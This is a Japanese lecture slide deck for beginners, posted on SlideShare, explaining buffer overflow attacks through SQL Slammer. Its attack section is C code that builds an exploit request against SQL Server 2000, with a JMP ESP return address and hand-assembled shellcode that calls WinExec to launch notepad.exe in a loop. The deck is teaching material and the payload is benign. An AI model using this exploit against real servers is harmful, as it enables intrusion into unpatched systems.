SlideShare une entreprise Scribd logo
1  sur  24
Copyright©2019 SciencePark Corp.
1
No.2 超初心者向け セキュリティ入門
サイエンスパーク株式会社 三浦秀朗
• この講義は「超初心者向けのセキュリティ入門」です
• C言語はわかるけど、アセンブラはよくわからないと
いう方向けです。
- 社内IT管理者
- ネットワークシステム構築管理者・エンジニア
• わかりやすくするため比喩を用いた表現が多く、厳密
にはすべてを解説できない部分が多いです
それでもOKな方はご参加ください!!
はじめに
2
三浦秀朗(みうらひであき)- miura-hacking-mode
・Windows95からWindows用デバイスドライバを多数開発
・WDMドライバの有償セミナー(Windows98~)を多数開催
・NTドライバプログラミング(SOFTBANK)の翻訳・監修
・Compuware DriverStudio翻訳・国内サポート・セミナー
・セキュリティ製品及びSDKの開発
~この間、暗黒期~
・某ゲーム機器会社に出向(約5年)
- FreeBSD系のデバイスドライバ開発を担当
・某セキュリティコンサル会社に出向中(約2年~現在)
- IoT機器のH/W~S/Wまでの脆弱性診断担当
3
発表者
• Buffer Overflow攻撃のおさらい
• 予備知識
• 攻撃コード解説
目次
3
Buffer Overflow攻撃の
おさらい
5
6
ハッキングの王道:Buffer Overflow
C言語の例:
void main(int argc, char **argv)
{
func(argv[1]);
}
void func(char *input)
{
char tmp[8];
strcpy(tmp, input);
}
コード用
メモリ
スタック
メモリ
tmp[8]
処理後に
戻る
アドレス
main()
{
func(...)
}
func()
正常時はmain()から呼び出した
func()の直後を指しているのだが・・・
7
コード用
メモリ
スタック
メモリ
tmp[8]
tmp[8]
を超えた
データ
main()
{
func(...)
}
func()
tmp[]バッファをオーバーフローしたデータ
で戻る場所が上書きされた・・・
?
C言語の例:
void main(int argc, char **argv)
{
func(argv[1]);
}
void func(char *input)
{
char tmp[8];
strcpy(tmp, input);
}
ハッキングの王道:Buffer Overflow
8
スタック
メモリ
tmp[8]
悪意ある
コードの
アドレス
方法1:悪意あるコードを直接実行!
スタック
メモリ
tmp[8]
JMP
ESPのア
ドレス
方法2:悪意あるコードを間接実行!
何かの
ライブラリ
JMP ESP(x86)
BX SP(ARM)
スタックの
絶対アドレスが
わからないと無理
現在のスタック
アドレスの次の番地
から実行できる
ハッキングの王道:Buffer Overflow
SQL Slammer
世界で最初にBOFによる大きな被害を出した攻撃
2003年1月25日5時30分 (UTC) に発生
Microsoft SQL Server 2000がターゲット
MSDE(Microsoft SQL Server Desktop Engine )も含む
MSDEは普通のクライアントPCでもよく利用されていた
ネットワークのSQL発行用ポート経由で侵入
不正なSQL文を送り込んで任意のコードを実行
⇒感染台数は僅か10分で7万5000台以上!
9
BOFによるハッキング例
予備知識
10
11
開発環境 - MinGW
12
文字(SQL文)入力インタフェースへの攻撃
SQL Server 2000
SQL文を送るふりをして文字列+攻撃プログラムを送る
注意!!:
送り込むデータに0x00が含まれると文字列のNULLと判断され、それ以上の送信ができなくなります
↓
アセンブラを駆使して、0x00が出てこないように工夫します
SQL Slammer sqlsort.dll
0x42B0C9DCという
数値(JMP ESP命令)
13
プログラムとスタック(Intel x86)
プログラムメモリ スタックメモリ
CPU
・・・
PUSH EBP
MOV EBP, ESP
SUB ESP, 40H
PUSHAD
・・・
CPUはプログラムメモリを順
に読んで実行していきます
レジスタはCPU内部の
記憶領域です
レジスタでは収まらない
一時データ領域
CALL命令の戻り番地
CALL命令の引数
スタックは様々な用途で
用いられます
動的に生成した
プログラム
ここにプログラムを置いて
実行することもできます
(危険)
14
http://pnx.tf/files/x86_opcode_structure_and_instruction_overview.png
15
使用するx86命令
命令 機能 例
PUSH レジスタやメモリの値をスタックに積み上げます PUSH EBP
PUSHAD
MOV xxからyyに値を代入します MOV EBP, ESP
ADD xxにyyを加算します ADD EDI, 06h
SUB xxにyyを減算します SUB ESP, 40H
JMP xx番地のプログラムを実行します JMP ESP
CALL xx番地のプログラムをサブルーチンとして実行し
ます
(戻り番地を自動的にスタックに積み上げます)
CALL EAX
LEA MOV命令と似ているが、アドレスの中身を代入す
るのではなく、アドレス値自体を代入する
LEA EAX, [EBP-0Dh]
攻撃コードの解説
16
17
攻撃コード - ネットワーク&バッファ満たす
void Attack(char *target_ip, struct sockaddr_in *s_sa)
{
char request[4000];
memset(request, 0, sizeof(request));
// ネットワークの初期化
int ErrorLevel = StartWinsock(target_ip, s_sa);
if (ErrorLevel == 0) {
printf("Error starting Winsock.n");
return;
}
// SQL ServerにSQL文を送る時のコマンド
strcat(request, "x04");
// SQL Serverのコマンドバッファをあふれる寸前にする
strcat(request,
"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOO
OOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXX");
18
攻撃コード - スタック上のコードを実行させる
// 0x42B0C9DC <- JMP ESP in sqlsort.dll (0xFFE4)
strcat(request, "xDCxC9xB0x42");
// -> Part0へジャンプするだけ(オフセット=0xe)
strcat(request, "xEBx0E");
strcat(request, "x41x42x43x44x45x46"); // -> Dummy
strcat(request, "xFFxFFxFFxFF"); // -> Dummy
strcat(request, "xFFxFFxFFxFF"); // -> Dummy
// just a few nops
// Part0
strcat(request, "x90x90x90x90x90x90x90x90");
19
外部プロセスを起動するAPI
UINT WinExec( LPCSTR lpCmdLine, UINT uCmdShow );
パラメータ:
lpCmdLine・・・コマンドライン文字列
nCmdShow・・・実行時に画面表示をするか否かを指定
notepad.exeを無限に起動してみよう!!
20
攻撃コード - 一般的なプログラムの前準備
// Part1
strcat(request, "x55"); // PUSH EBP
strcat(request, "x8BxEC"); // MOV EBP, ESP
→今のスタック位置を保存しておく
strcat(request, "x83xECx40"); // SUB ESP, 40H
→自分で使う変数分(0x40)、スタックを確保しておく
strcat(request, "x60"); // PUSHAD
→一応全部のレジスタを保存しておく(いらないかも)
21
攻撃コード - "notepad.exe"をスタックに入れる
// notepad.exe
strcat(request, "xC6x45xF3x6E"); // MOV BYTE PTR [EBP-0Dh] -> 'n'
strcat(request, "xC6x45xF4x6F"); // MOV BYTE PTR [EBP-0Ch] -> 'o'
strcat(request, "xC6x45xF5x74"); // MOV BYTE PTR [EBP-0Bh] -> 't'
strcat(request, "xC6x45xF6x65"); // MOV BYTE PTR [EBP-0Ah] -> 'e'
strcat(request, "xC6x45xF7x70"); // MOV BYTE PTR [EBP-09h] -> 'p'
strcat(request, "xC6x45xF8x61"); // MOV BYTE PTR [EBP-08h] -> 'a'
strcat(request, "xC6x45xF9x64"); // MOV BYTE PTR [EBP-07h] -> 'd'
strcat(request, "xC6x45xFAx2E"); // MOV BYTE PTR [EBP-06h] -> '.'
strcat(request, "xC6x45xFBx65"); // MOV BYTE PTR [EBP-05h] -> 'e'
strcat(request, "xC6x45xFCx78"); // MOV BYTE PTR [EBP-04h] -> 'x'
strcat(request, "xC6x45xFDx65"); // MOV BYTE PTR [EBP-03h] -> 'e'
strcat(request, "xC6x45xFExFF"); // MOV BYTE PTR [EBP-02h] -> 0xff
strcat(request, "x80x45xFEx01"); // SUB BYTE PTR [EBP-02h], 01h <-偽NULL
22
WinExecを実行して無限ループ
// 「MOV EDI, 00000005h」と書きたいがNULLが入ってしまうので、FFFFFFFFh-06hで代用
strcat(request, "xBFxFFxFFxFFxFF"); // MOV EDI, FFFFFFFFh
// 0xFFFFFFFFhに0x06を足して、0x05にする
strcat(request, "x83xC7x06"); // ADD EDI, 06h (EDI <- 0x05)
strcat(request, "x57"); // PUSH EDI uCmdShow=SW_SHOW(0x05)
strcat(request, “x8Dx45xF3”); // LEA EAX, [EBP-0Dh] “notepad.exe”の先頭番地->EAX
strcat(request, “x50”); // PUSH EAX lpCmdLine=“notepad.exe”
strcat(request, "xB8x01x86xE6x77"); // MOV EAX, 0x77E68601 (WinExec@kernel32.dll)
strcat(request, "xFFxD0"); // CALL EAX
strcat(request, "xEBxB6"); // JMP ここから-54バイト
• Windowsが動作するパソコンがあればハンズオン参加できます
• 無料ツールだけ使います(MinGW)
• ソースコードは別途ご案内します
• 被攻撃サーバーはこちらで用意します
23
次回 - 攻撃のハンズオン
ご清聴ありがとうございました
24
SP1909-E04

Contenu connexe

Tendances

iostat await svctm の 見かた、考え方
iostat await svctm の 見かた、考え方iostat await svctm の 見かた、考え方
iostat await svctm の 見かた、考え方歩 柴田
 
知っておきたいASTERIA WARPの強制終了
知っておきたいASTERIA WARPの強制終了知っておきたいASTERIA WARPの強制終了
知っておきたいASTERIA WARPの強制終了ASTERIA User Group
 
Node-RED勉強会(20160826)追補
Node-RED勉強会(20160826)追補Node-RED勉強会(20160826)追補
Node-RED勉強会(20160826)追補Takashi Ariyama
 
Dexcs2020-OF install
Dexcs2020-OF installDexcs2020-OF install
Dexcs2020-OF installEtsuji Nomura
 
ZynqMPのブートとパワーマネージメント : (ZynqMP Boot and Power Management)
ZynqMPのブートとパワーマネージメント : (ZynqMP Boot and Power Management)ZynqMPのブートとパワーマネージメント : (ZynqMP Boot and Power Management)
ZynqMPのブートとパワーマネージメント : (ZynqMP Boot and Power Management)Mr. Vengineer
 
Dexcs2017 of install
Dexcs2017 of installDexcs2017 of install
Dexcs2017 of installEtsuji Nomura
 
自宅スケーラブル・ファイルシステムのご紹介
自宅スケーラブル・ファイルシステムのご紹介自宅スケーラブル・ファイルシステムのご紹介
自宅スケーラブル・ファイルシステムのご紹介Kentaro Mitsuyasu
 
デバイスとネットワーク仮想化を使ったワイヤレスネットワーク拡張の実証実験 -メモ-
デバイスとネットワーク仮想化を使ったワイヤレスネットワーク拡張の実証実験 -メモ-デバイスとネットワーク仮想化を使ったワイヤレスネットワーク拡張の実証実験 -メモ-
デバイスとネットワーク仮想化を使ったワイヤレスネットワーク拡張の実証実験 -メモ-Naoto MATSUMOTO
 
自作x86エミュレータの終焉
自作x86エミュレータの終焉自作x86エミュレータの終焉
自作x86エミュレータの終焉Daisuke Kamikawa
 
総サイバーセキュリティザックさんの代打~ネットワークカメラのハック~
総サイバーセキュリティザックさんの代打~ネットワークカメラのハック~総サイバーセキュリティザックさんの代打~ネットワークカメラのハック~
総サイバーセキュリティザックさんの代打~ネットワークカメラのハック~黒 林檎
 
Secure element for IoT device
Secure element for IoT deviceSecure element for IoT device
Secure element for IoT deviceKentaro Mitsuyasu
 
無償ライセンス ESXi と 3rd パーティ製バックアップ製品
無償ライセンス ESXi と 3rd パーティ製バックアップ製品無償ライセンス ESXi と 3rd パーティ製バックアップ製品
無償ライセンス ESXi と 3rd パーティ製バックアップ製品yhanako
 
物理マシンをケチる技術
物理マシンをケチる技術物理マシンをケチる技術
物理マシンをケチる技術Satoshi KOBAYASHI
 
DEXCS2015のWindows10 PCへのインストール
DEXCS2015のWindows10 PCへのインストールDEXCS2015のWindows10 PCへのインストール
DEXCS2015のWindows10 PCへのインストールstebee19
 

Tendances (20)

iostat await svctm の 見かた、考え方
iostat await svctm の 見かた、考え方iostat await svctm の 見かた、考え方
iostat await svctm の 見かた、考え方
 
知っておきたいASTERIA WARPの強制終了
知っておきたいASTERIA WARPの強制終了知っておきたいASTERIA WARPの強制終了
知っておきたいASTERIA WARPの強制終了
 
Node-RED勉強会(20160826)追補
Node-RED勉強会(20160826)追補Node-RED勉強会(20160826)追補
Node-RED勉強会(20160826)追補
 
Dexcs2020-OF install
Dexcs2020-OF installDexcs2020-OF install
Dexcs2020-OF install
 
NetBSD/Zynq
NetBSD/ZynqNetBSD/Zynq
NetBSD/Zynq
 
Azure de Vyatta
Azure de VyattaAzure de Vyatta
Azure de Vyatta
 
ZynqMPのブートとパワーマネージメント : (ZynqMP Boot and Power Management)
ZynqMPのブートとパワーマネージメント : (ZynqMP Boot and Power Management)ZynqMPのブートとパワーマネージメント : (ZynqMP Boot and Power Management)
ZynqMPのブートとパワーマネージメント : (ZynqMP Boot and Power Management)
 
Dexcs2017 of install
Dexcs2017 of installDexcs2017 of install
Dexcs2017 of install
 
自宅スケーラブル・ファイルシステムのご紹介
自宅スケーラブル・ファイルシステムのご紹介自宅スケーラブル・ファイルシステムのご紹介
自宅スケーラブル・ファイルシステムのご紹介
 
デバイスとネットワーク仮想化を使ったワイヤレスネットワーク拡張の実証実験 -メモ-
デバイスとネットワーク仮想化を使ったワイヤレスネットワーク拡張の実証実験 -メモ-デバイスとネットワーク仮想化を使ったワイヤレスネットワーク拡張の実証実験 -メモ-
デバイスとネットワーク仮想化を使ったワイヤレスネットワーク拡張の実証実験 -メモ-
 
Sata 産業用工業用フラッシュメモリー
Sata   産業用工業用フラッシュメモリーSata   産業用工業用フラッシュメモリー
Sata 産業用工業用フラッシュメモリー
 
工業用産業用メモリーUDINFO
工業用産業用メモリーUDINFO工業用産業用メモリーUDINFO
工業用産業用メモリーUDINFO
 
自作x86エミュレータの終焉
自作x86エミュレータの終焉自作x86エミュレータの終焉
自作x86エミュレータの終焉
 
総サイバーセキュリティザックさんの代打~ネットワークカメラのハック~
総サイバーセキュリティザックさんの代打~ネットワークカメラのハック~総サイバーセキュリティザックさんの代打~ネットワークカメラのハック~
総サイバーセキュリティザックさんの代打~ネットワークカメラのハック~
 
Secure element for IoT device
Secure element for IoT deviceSecure element for IoT device
Secure element for IoT device
 
無償ライセンス ESXi と 3rd パーティ製バックアップ製品
無償ライセンス ESXi と 3rd パーティ製バックアップ製品無償ライセンス ESXi と 3rd パーティ製バックアップ製品
無償ライセンス ESXi と 3rd パーティ製バックアップ製品
 
物理マシンをケチる技術
物理マシンをケチる技術物理マシンをケチる技術
物理マシンをケチる技術
 
やさしいUNAC
やさしいUNACやさしいUNAC
やさしいUNAC
 
DEXCS2015のWindows10 PCへのインストール
DEXCS2015のWindows10 PCへのインストールDEXCS2015のWindows10 PCへのインストール
DEXCS2015のWindows10 PCへのインストール
 
Sesearch
SesearchSesearch
Sesearch
 

Similaire à No.2 超初心者向け セキュリティ入門

OpenStackクラウド基盤構築ハンズオンセミナー 第1日:ハンズオンNo1
OpenStackクラウド基盤構築ハンズオンセミナー 第1日:ハンズオンNo1OpenStackクラウド基盤構築ハンズオンセミナー 第1日:ハンズオンNo1
OpenStackクラウド基盤構築ハンズオンセミナー 第1日:ハンズオンNo1Etsuji Nakai
 
Cell/B.E. プログラミング事始め
Cell/B.E. プログラミング事始めCell/B.E. プログラミング事始め
Cell/B.E. プログラミング事始めYou&I
 
スタート低レイヤー #0
スタート低レイヤー #0スタート低レイヤー #0
スタート低レイヤー #0Kiwamu Okabe
 
Android起動周りのノウハウ
Android起動周りのノウハウAndroid起動周りのノウハウ
Android起動周りのノウハウchancelab
 
もしCloudStackのKVMホストでPCIパススルーできるようになったら
もしCloudStackのKVMホストでPCIパススルーできるようになったらもしCloudStackのKVMホストでPCIパススルーできるようになったら
もしCloudStackのKVMホストでPCIパススルーできるようになったらTakuma Nakajima
 
OpenStackで始めるクラウド環境構築入門
OpenStackで始めるクラウド環境構築入門OpenStackで始めるクラウド環境構築入門
OpenStackで始めるクラウド環境構築入門VirtualTech Japan Inc.
 
Lpicl1セミナー資料20140315
Lpicl1セミナー資料20140315Lpicl1セミナー資料20140315
Lpicl1セミナー資料20140315Takahiro Kujirai
 
DeNAインフラの今とこれから - 今編 -
DeNAインフラの今とこれから - 今編 -DeNAインフラの今とこれから - 今編 -
DeNAインフラの今とこれから - 今編 -Tomoya Kabe
 
NGS解析を始めた時にぶつかりがちな小さい壁あれこれ
NGS解析を始めた時にぶつかりがちな小さい壁あれこれNGS解析を始めた時にぶつかりがちな小さい壁あれこれ
NGS解析を始めた時にぶつかりがちな小さい壁あれこれDNA Data Bank of Japan center
 
コンテナセキュリティにおける権限制御(OCHaCafe5 #3 Kubernetes のセキュリティ 発表資料)
コンテナセキュリティにおける権限制御(OCHaCafe5 #3 Kubernetes のセキュリティ 発表資料)コンテナセキュリティにおける権限制御(OCHaCafe5 #3 Kubernetes のセキュリティ 発表資料)
コンテナセキュリティにおける権限制御(OCHaCafe5 #3 Kubernetes のセキュリティ 発表資料)NTT DATA Technology & Innovation
 
A story of porting OpenBSD/luna88k
A story of porting OpenBSD/luna88kA story of porting OpenBSD/luna88k
A story of porting OpenBSD/luna88kKenji Aoyama
 
どこでも動くゲームを作るためのベタープラクティス
どこでも動くゲームを作るためのベタープラクティスどこでも動くゲームを作るためのベタープラクティス
どこでも動くゲームを作るためのベタープラクティス5mingame2
 
Zマイスターとの新たな価値探求 z/OS
Zマイスターとの新たな価値探求 z/OSZマイスターとの新たな価値探求 z/OS
Zマイスターとの新たな価値探求 z/OSIBMソリューション
 
Apache cloudstack4.0インストール
Apache cloudstack4.0インストールApache cloudstack4.0インストール
Apache cloudstack4.0インストールYasuhiro Arai
 
CloudFoundry 2 on Apache CloudStack 4.2.1
CloudFoundry 2 on Apache CloudStack 4.2.1CloudFoundry 2 on Apache CloudStack 4.2.1
CloudFoundry 2 on Apache CloudStack 4.2.1Kotaro Noyama
 
2011.09.18 v7から始めるunix まとめ
2011.09.18 v7から始めるunix まとめ2011.09.18 v7から始めるunix まとめ
2011.09.18 v7から始めるunix まとめMakiko Konoshima
 
Osc10do linux nextstep
Osc10do linux nextstepOsc10do linux nextstep
Osc10do linux nextstepsmokey monkey
 
さくらのクラウドでVyOS使ってみた
さくらのクラウドでVyOS使ってみたさくらのクラウドでVyOS使ってみた
さくらのクラウドでVyOS使ってみたSAKURA Internet Inc.
 

Similaire à No.2 超初心者向け セキュリティ入門 (20)

OpenStackクラウド基盤構築ハンズオンセミナー 第1日:ハンズオンNo1
OpenStackクラウド基盤構築ハンズオンセミナー 第1日:ハンズオンNo1OpenStackクラウド基盤構築ハンズオンセミナー 第1日:ハンズオンNo1
OpenStackクラウド基盤構築ハンズオンセミナー 第1日:ハンズオンNo1
 
Cell/B.E. プログラミング事始め
Cell/B.E. プログラミング事始めCell/B.E. プログラミング事始め
Cell/B.E. プログラミング事始め
 
スタート低レイヤー #0
スタート低レイヤー #0スタート低レイヤー #0
スタート低レイヤー #0
 
Android起動周りのノウハウ
Android起動周りのノウハウAndroid起動周りのノウハウ
Android起動周りのノウハウ
 
もしCloudStackのKVMホストでPCIパススルーできるようになったら
もしCloudStackのKVMホストでPCIパススルーできるようになったらもしCloudStackのKVMホストでPCIパススルーできるようになったら
もしCloudStackのKVMホストでPCIパススルーできるようになったら
 
OpenStackで始めるクラウド環境構築入門
OpenStackで始めるクラウド環境構築入門OpenStackで始めるクラウド環境構築入門
OpenStackで始めるクラウド環境構築入門
 
Lpicl1セミナー資料20140315
Lpicl1セミナー資料20140315Lpicl1セミナー資料20140315
Lpicl1セミナー資料20140315
 
DeNAインフラの今とこれから - 今編 -
DeNAインフラの今とこれから - 今編 -DeNAインフラの今とこれから - 今編 -
DeNAインフラの今とこれから - 今編 -
 
Mt basic as-os_on_danbot
Mt basic as-os_on_danbotMt basic as-os_on_danbot
Mt basic as-os_on_danbot
 
NGS解析を始めた時にぶつかりがちな小さい壁あれこれ
NGS解析を始めた時にぶつかりがちな小さい壁あれこれNGS解析を始めた時にぶつかりがちな小さい壁あれこれ
NGS解析を始めた時にぶつかりがちな小さい壁あれこれ
 
コンテナセキュリティにおける権限制御(OCHaCafe5 #3 Kubernetes のセキュリティ 発表資料)
コンテナセキュリティにおける権限制御(OCHaCafe5 #3 Kubernetes のセキュリティ 発表資料)コンテナセキュリティにおける権限制御(OCHaCafe5 #3 Kubernetes のセキュリティ 発表資料)
コンテナセキュリティにおける権限制御(OCHaCafe5 #3 Kubernetes のセキュリティ 発表資料)
 
A story of porting OpenBSD/luna88k
A story of porting OpenBSD/luna88kA story of porting OpenBSD/luna88k
A story of porting OpenBSD/luna88k
 
どこでも動くゲームを作るためのベタープラクティス
どこでも動くゲームを作るためのベタープラクティスどこでも動くゲームを作るためのベタープラクティス
どこでも動くゲームを作るためのベタープラクティス
 
Zマイスターとの新たな価値探求 z/OS
Zマイスターとの新たな価値探求 z/OSZマイスターとの新たな価値探求 z/OS
Zマイスターとの新たな価値探求 z/OS
 
Apache cloudstack4.0インストール
Apache cloudstack4.0インストールApache cloudstack4.0インストール
Apache cloudstack4.0インストール
 
01.超初心者向けセキュリティ入門
01.超初心者向けセキュリティ入門01.超初心者向けセキュリティ入門
01.超初心者向けセキュリティ入門
 
CloudFoundry 2 on Apache CloudStack 4.2.1
CloudFoundry 2 on Apache CloudStack 4.2.1CloudFoundry 2 on Apache CloudStack 4.2.1
CloudFoundry 2 on Apache CloudStack 4.2.1
 
2011.09.18 v7から始めるunix まとめ
2011.09.18 v7から始めるunix まとめ2011.09.18 v7から始めるunix まとめ
2011.09.18 v7から始めるunix まとめ
 
Osc10do linux nextstep
Osc10do linux nextstepOsc10do linux nextstep
Osc10do linux nextstep
 
さくらのクラウドでVyOS使ってみた
さくらのクラウドでVyOS使ってみたさくらのクラウドでVyOS使ってみた
さくらのクラウドでVyOS使ってみた
 

Plus de Study Group by SciencePark Corp.

WPFの画面をWebブラウザのように拡大・縮小に追従させる方法(オートスクロールバー付き)
WPFの画面をWebブラウザのように拡大・縮小に追従させる方法(オートスクロールバー付き)WPFの画面をWebブラウザのように拡大・縮小に追従させる方法(オートスクロールバー付き)
WPFの画面をWebブラウザのように拡大・縮小に追従させる方法(オートスクロールバー付き)Study Group by SciencePark Corp.
 
新入社員の俺がDeepLearningのコードを書いてみたら神検出率だった件
新入社員の俺がDeepLearningのコードを書いてみたら神検出率だった件新入社員の俺がDeepLearningのコードを書いてみたら神検出率だった件
新入社員の俺がDeepLearningのコードを書いてみたら神検出率だった件Study Group by SciencePark Corp.
 
.NET CoreでのWindowsサービスの作り方と、Coreならではの便利な機能
.NET CoreでのWindowsサービスの作り方と、Coreならではの便利な機能.NET CoreでのWindowsサービスの作り方と、Coreならではの便利な機能
.NET CoreでのWindowsサービスの作り方と、Coreならではの便利な機能Study Group by SciencePark Corp.
 
ローカルストレージでの永続化キューの方式を本気で比較してみた
ローカルストレージでの永続化キューの方式を本気で比較してみたローカルストレージでの永続化キューの方式を本気で比較してみた
ローカルストレージでの永続化キューの方式を本気で比較してみたStudy Group by SciencePark Corp.
 
Azure VMを検証に使う - 便利なHyper-Vスナップショットを使う方法
Azure VMを検証に使う - 便利なHyper-Vスナップショットを使う方法Azure VMを検証に使う - 便利なHyper-Vスナップショットを使う方法
Azure VMを検証に使う - 便利なHyper-Vスナップショットを使う方法Study Group by SciencePark Corp.
 
06.超初心者向けセキュリティ入門(.netの解析と対策)
06.超初心者向けセキュリティ入門(.netの解析と対策)06.超初心者向けセキュリティ入門(.netの解析と対策)
06.超初心者向けセキュリティ入門(.netの解析と対策)Study Group by SciencePark Corp.
 
SphinxのCIの続き Azure DevOpsでのビルド結果を、認証付きAzure App Serviceに公開するところまで
SphinxのCIの続き Azure DevOpsでのビルド結果を、認証付きAzure App Serviceに公開するところまでSphinxのCIの続き Azure DevOpsでのビルド結果を、認証付きAzure App Serviceに公開するところまで
SphinxのCIの続き Azure DevOpsでのビルド結果を、認証付きAzure App Serviceに公開するところまでStudy Group by SciencePark Corp.
 
Azure DevTestLabsはデスクトップアプリ開発のテストを楽にしてくれる
Azure DevTestLabsはデスクトップアプリ開発のテストを楽にしてくれるAzure DevTestLabsはデスクトップアプリ開発のテストを楽にしてくれる
Azure DevTestLabsはデスクトップアプリ開発のテストを楽にしてくれるStudy Group by SciencePark Corp.
 

Plus de Study Group by SciencePark Corp. (20)

WPFの画面をWebブラウザのように拡大・縮小に追従させる方法(オートスクロールバー付き)
WPFの画面をWebブラウザのように拡大・縮小に追従させる方法(オートスクロールバー付き)WPFの画面をWebブラウザのように拡大・縮小に追従させる方法(オートスクロールバー付き)
WPFの画面をWebブラウザのように拡大・縮小に追従させる方法(オートスクロールバー付き)
 
YOLOとご一緒にPandasはいかがですか
YOLOとご一緒にPandasはいかがですかYOLOとご一緒にPandasはいかがですか
YOLOとご一緒にPandasはいかがですか
 
新入社員の俺がDeepLearningのコードを書いてみたら神検出率だった件
新入社員の俺がDeepLearningのコードを書いてみたら神検出率だった件新入社員の俺がDeepLearningのコードを書いてみたら神検出率だった件
新入社員の俺がDeepLearningのコードを書いてみたら神検出率だった件
 
.NET CoreでのWindowsサービスの作り方と、Coreならではの便利な機能
.NET CoreでのWindowsサービスの作り方と、Coreならではの便利な機能.NET CoreでのWindowsサービスの作り方と、Coreならではの便利な機能
.NET CoreでのWindowsサービスの作り方と、Coreならではの便利な機能
 
ドライバへのETWの埋め込み
ドライバへのETWの埋め込みドライバへのETWの埋め込み
ドライバへのETWの埋め込み
 
JTAGを使ってみよう
JTAGを使ってみようJTAGを使ってみよう
JTAGを使ってみよう
 
JTAG入門
JTAG入門JTAG入門
JTAG入門
 
初心者向けデバイスドライバ講座(6)
初心者向けデバイスドライバ講座(6)初心者向けデバイスドライバ講座(6)
初心者向けデバイスドライバ講座(6)
 
ローカルストレージでの永続化キューの方式を本気で比較してみた
ローカルストレージでの永続化キューの方式を本気で比較してみたローカルストレージでの永続化キューの方式を本気で比較してみた
ローカルストレージでの永続化キューの方式を本気で比較してみた
 
Azure VMを検証に使う - 便利なHyper-Vスナップショットを使う方法
Azure VMを検証に使う - 便利なHyper-Vスナップショットを使う方法Azure VMを検証に使う - 便利なHyper-Vスナップショットを使う方法
Azure VMを検証に使う - 便利なHyper-Vスナップショットを使う方法
 
02.超初心者向けセキュリティ入門(IoT)
02.超初心者向けセキュリティ入門(IoT)02.超初心者向けセキュリティ入門(IoT)
02.超初心者向けセキュリティ入門(IoT)
 
06.超初心者向けセキュリティ入門(.netの解析と対策)
06.超初心者向けセキュリティ入門(.netの解析と対策)06.超初心者向けセキュリティ入門(.netの解析と対策)
06.超初心者向けセキュリティ入門(.netの解析と対策)
 
Visual StudioでWixをビルドしてみた
Visual StudioでWixをビルドしてみたVisual StudioでWixをビルドしてみた
Visual StudioでWixをビルドしてみた
 
MacOS10.15への対応について
MacOS10.15への対応についてMacOS10.15への対応について
MacOS10.15への対応について
 
Teamsでのリモート勉強会の開き方
Teamsでのリモート勉強会の開き方Teamsでのリモート勉強会の開き方
Teamsでのリモート勉強会の開き方
 
リモートでの勉強会参加方法
リモートでの勉強会参加方法リモートでの勉強会参加方法
リモートでの勉強会参加方法
 
初心者向けデバイスドライバ講座 (2)
初心者向けデバイスドライバ講座 (2) 初心者向けデバイスドライバ講座 (2)
初心者向けデバイスドライバ講座 (2)
 
SphinxのCIの続き Azure DevOpsでのビルド結果を、認証付きAzure App Serviceに公開するところまで
SphinxのCIの続き Azure DevOpsでのビルド結果を、認証付きAzure App Serviceに公開するところまでSphinxのCIの続き Azure DevOpsでのビルド結果を、認証付きAzure App Serviceに公開するところまで
SphinxのCIの続き Azure DevOpsでのビルド結果を、認証付きAzure App Serviceに公開するところまで
 
初心者向けデバイスドライバ講座(1)
初心者向けデバイスドライバ講座(1)初心者向けデバイスドライバ講座(1)
初心者向けデバイスドライバ講座(1)
 
Azure DevTestLabsはデスクトップアプリ開発のテストを楽にしてくれる
Azure DevTestLabsはデスクトップアプリ開発のテストを楽にしてくれるAzure DevTestLabsはデスクトップアプリ開発のテストを楽にしてくれる
Azure DevTestLabsはデスクトップアプリ開発のテストを楽にしてくれる
 

No.2 超初心者向け セキュリティ入門